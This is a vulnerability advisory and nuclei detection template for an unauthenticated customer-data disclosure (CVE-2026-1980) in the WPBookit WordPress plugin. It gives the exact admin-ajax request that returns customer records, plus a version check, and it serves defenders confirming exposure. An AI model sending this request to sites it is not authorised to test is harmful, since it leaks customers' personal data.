WPBookit <= 1.0.8 - Unauthenticated Customer Information Disclosure

mediumseverity

5.3CVSS score

0.9%likelihood of exploitation, next 30 days

60%of all CVEs are less likely

Readycheck to confirm it

WPBookit WordPress plugin <= 1.0.8 contains an information disclosure vulnerability caused by missing authorization check on 'get_customer_list' route, letting unauthenticated attackers retrieve sensitive customer data.

Impact

Unauthenticated attackers can access sensitive customer information, risking privacy and data exposure.

Fix

Update to the latest version beyond 1.0.8.

How to confirm it

Send: GET /wp-content/plugins/wpbookit/README.txt
Positive when: status_code == 200 and contains(body, "WPBookit")
Send: GET /wp-admin/admin-ajax.php?action=wpb_ajax_get&route_name=get_customer_list&length=1&start=0
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "recordsTotal", "recordsFiltered", "user_registred") and compare_versions(lsversion, ">= 1.0", "<= 1.0.8")

Run it with nuclei: nuclei -id CVE-2026-1980 -u <target>

The full check

id: CVE-2026-1980

info:
  name: WPBookit <= 1.0.8 - Unauthenticated Customer Information Disclosure
  author: aryu-ru
  severity: medium
  description: |
    WPBookit WordPress plugin <= 1.0.8 contains an information disclosure vulnerability caused by missing authorization check on 'get_customer_list' route, letting unauthenticated attackers retrieve sensitive customer data.
  impact: |
    Unauthenticated attackers can access sensitive customer information, risking privacy and data exposure.
  remediation: |
    Update to the latest version beyond 1.0.8.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/a1867c79-29d7-46a4-bfaf-c65e8a44c2ed?source=cve
    - https://plugins.trac.wordpress.org/browser/wpbookit/tags/1.0.8/core/admin/classes/class.wpb-admin-routes.php#L146
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1980
    - https://wordpress.org/plugins/wpbookit/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-1980
    epss-score: 0.00906
    epss-percentile: 0.60155
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 2
    vendor: iqonicdesign
    product: wpbookit
    publicwww-query: "/wp-content/plugins/wpbookit/"
    fofa-query: body="/wp-content/plugins/wpbookit/"
  tags: cve,cve2026,wordpress,wp-plugin,wpbookit,unauth,disclosure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wpbookit/README.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WPBookit")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lsversion
        group: 1
        internal: true
        regex:
          - '(?i)Stable tag:\s*([\w.]+)'

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=wpb_ajax_get&route_name=get_customer_list&length=1&start=0 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "recordsTotal", "recordsFiltered", "user_registred")'
          - 'compare_versions(lsversion, ">= 1.0", "<= 1.0.8")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from